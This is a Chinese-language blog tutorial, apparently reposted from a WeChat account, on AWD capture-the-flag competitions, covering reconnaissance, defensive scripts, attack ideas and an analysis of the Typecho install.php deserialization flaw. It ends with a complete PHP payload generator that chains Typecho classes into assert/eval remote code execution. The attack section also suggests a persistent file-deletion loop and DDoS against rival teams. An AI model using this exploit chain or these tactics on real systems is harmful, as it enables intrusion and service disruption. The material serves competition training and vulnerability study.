AWD入门教程

admin 2023年1月12日02:06:08评论84 views字数 6012阅读20分2秒阅读模式

AWD入门教程

信息收集

前言

我开始之前,会有一定的时间留给我们进行加固,在这段时间里,彼此之间是没法进行攻击的,所以我们要利用好这段时间,收集足够的信息,我把需要收集的信息总结为以下几点。

1.账号密码收集

在开始前,我们可以去查看web端的配置文件,那里面会有数据库的账号和密码,然后我们通过这个账号密码进行登录,就可以去查找后台的账号和密码,可以在后续对其他队伍进行一个测试,看是有账号密码系统的情况。

2.端口信息收集

我们可以通过探测自己主机上的端口,看是否存在某些端口上开着存在漏洞的服务。主要用到的工具是nmap。

3.web框架信息收集

web框架信息的收集也很重要,很多时候,web环境就是一存在历史漏洞的web框架,我们可以通过去网上搜索相关的漏洞信息,以做到防御自身和攻击他人。主要可以通过查看文件是否有作者或框架的信息,或可以通过浏览器的插件Wappalyzer

4.URL信息收集

主要是收集其他战队的url信息。

防御

前言

其实防御我感觉是整个环境中比较好做的,为什么这么说呢,如果只有web环境的情况下,我们一般挂上一两个脚本就能防御大多数的攻击。这里介绍一下几个需要的功能,这些功能的脚本github上都有,大家可以自行下载测试。

1.waf

web环境一般大多数是php语言的,这时候我们可以在网站的入口处,导入我们写入的waf,通过对传入参数的清洗,就能隔绝掉很多攻击,比如虽然在某个文件有漏洞,但是其流量都要经过waf.php的清晰,哪怕漏洞存在都不会被利用。

2.文件监控

这个脚本主要是对web目录的一个监控,防止web文件被人恶意的篡改,也防止被人上传木马,可以使用python来编写。

3.flag替换

这个脚本就有点恶心,主要是你可以通过python搭建一个http服务器,然后监控http流量,当流量中有flag的数据,就可以替换为其他的,达到一个防御的效果。

4.修改账号密码

这个也是很重要的,一般情况下,后台账号密码可能存在弱密码的情况,但是在数据库中的密码可能是以hash加密的形式存储的,这时候如果我们直接修改,就会导致出错,所以这里我们可以直接修改用户名,把用户名改掉也能防御爆破。

攻击

前言

攻击的话相对来说其攻击点一般已经是固定了的,要么是存在问题的端口,要么是存在问题的框架,如果在这几个地方做了死防,攻击基本可以说已经没有任何用处了(ps:这是我个人觉得),当然,在awd中,让对方服务掉线也是一种加分方式,可以尝试对其web服务发起大量请求的方式,让对方掉线,这样在进行检查的时候,由于服务不存在,就会减分,然后平均分配给其他战队,这边简单的说一下攻击的思路。

1.代码审计

这可以说是每次拿到代码必须做的事情了,通过代码审计,我们可以找到框架中存在的漏洞,可以发现是否有webshell的存在,这样可以及时的对代码进行修复。

2.删除文件

如何去应对我上面防御部分的第三点呢,因为我们知道,每一次系统都会对web服务进行检测,那我们在拿到对方shell的时候,我们可以在tmp目录写一个python文件,让其死循环判断web某个文件是否存在,存在则删除,这样的话就可以达到让对方服务出错扣分。

3.ddos

ddos也是可以用的,但是这也是非常万不得已的情况下了。

复盘

前言

昨天进行了一场队内的awd对抗赛,这次的对抗赛我觉得没太多的意思,因为其实其中的利用点只有一个,那就是框架的历史漏洞,这里对这个漏洞再进行一次分析。

Typecho框架的反序列化漏洞。

install.php

//省略
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
    exit;
}
//省略
 <?php else : ?>
                    <?php
                    $config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
                    Typecho_Cookie::delete('__typecho_config');
                    $db = new Typecho_Db($config['adapter'], $config['prefix']);
                    $db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
                    Typecho_Db::set($db);
                    ?>
  • install.php是入口点,我们会发现,我们直接访问的话,会因为exit而退出程序,但是我们发现只需要通过get传参,传入一个finish就能继续执行下面的程序。我们继续看,下面对Typecho_Cookie::get('__typecho_config') 进行base64解码后反序列化。我们跟进一下Typecho_Cookie::get()方法。

Cookie.php

public static function get($key$default = NULL)
    {
        $key = self::$_prefix . $key;
        $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
        return is_array($value) ? $default : $value;
    }
  • 这边的话首先是判断Cookie是否有对应参数的值,如果没有的话则通过post传参的方式。判断是否为数组,是的话则返回值。

  • 继续看上面的install.php,$db = new Typecho_Db($config['adapter'], $config['prefix']);把序列化后的数组的值传入,也就是这里我们是可控的,跟进Typecho_Db。

Db.php

public function __construct($adapterName$prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }
  • 这时候假如$adapterName是个类的化,那么这里因为这个类被当作字符串,所以会调用__toString魔法方法。

Feed.php

foreach ($this->_items as $item) {
                $content .= '<entry>' . self::EOL;
                $content .= '<title type="html"><![CDATA[' . $item['title'] . ']]></title>' . self::EOL;
                $content .= '<link rel="alternate" type="text/html" href="' . $item['link'] . '" />' . self::EOL;
                $content .= '<id>' . $item['link'] . '</id>' . self::EOL;
                $content .= '<updated>' . $this->dateFormat($item['date']) . '</updated>' . self::EOL;
                $content .= '<published>' . $this->dateFormat($item['date']) . '</published>' . self::EOL;
                $content .= '<author>
    <name>'
 . $item['author']->screenName . '</name>
    <uri>'
 . $item['author']->url . '</uri>
</author>'
 . self::EOL;
  • 我们会发现这里的itemp['author']为某个类,那么调用了不存在的成员就会执行__get方法,我们去看一下__get方法

Requests.php

public function get($key$default = NULL)
    {
        switch (true) {
            case isset($this->_params[$key]):
                $value = $this->_params[$key];
                break;
            case isset(self::$_httpParams[$key]):
                $value = self::$_httpParams[$key];
                break;
            default:
                $value = $default;
                break;
        }

        $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
        return $this->_applyFilter($value);
    }
  • 我们发现这里把我们传入的值传入到了_applyFilter方法,我们继续跟进
private function _applyFilter($value)
    {
        if ($this->_filter) {
            foreach ($this->_filter as $filter) {
                $value = is_array($value) ? array_map($filter$value) :
                call_user_func($filter$value);
            }

            $this->_filter = array();
        }

        return $value;
    }
  • 我们发现,这里执行了一个回调函数,下面是一个网上的payload。
<?php
class Typecho_Feed
{
        const RSS1 = 'RSS 1.0';
        const RSS2 = 'RSS 2.0';
        const ATOM1 = 'ATOM 1.0';
        const DATE_RFC822 = 'r';
        const DATE_W3CDTF = 'c';
        const EOL = "n";
        private $_type;
        private $_items;

        public function __construct() {
                $this->_type = $this::RSS2;
                #$this->_type = $this::ATOM1;
                $this->_items[0] = array(
                        'category' => array(new Typecho_Request()),
                        'author' => new Typecho_Request(),
                );
        }
}
class Typecho_Request
{
        private $_params = array();
        private $_filter = array();

        public function __construct() {
                $this->_params['screenName'] = 'eval($_POST[8])';
                $this->_filter[0] = 'assert';
        }
}

$exp = array(
        'adapter' => new Typecho_Feed(),
        'prefix'  => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

原文始发于微信公众号(珠天PearlSky):AWD入门教程

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月12日02:06:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   AWD入门教程http://cn-sec.com/archives/1514593.html

发表评论

匿名网友 填写信息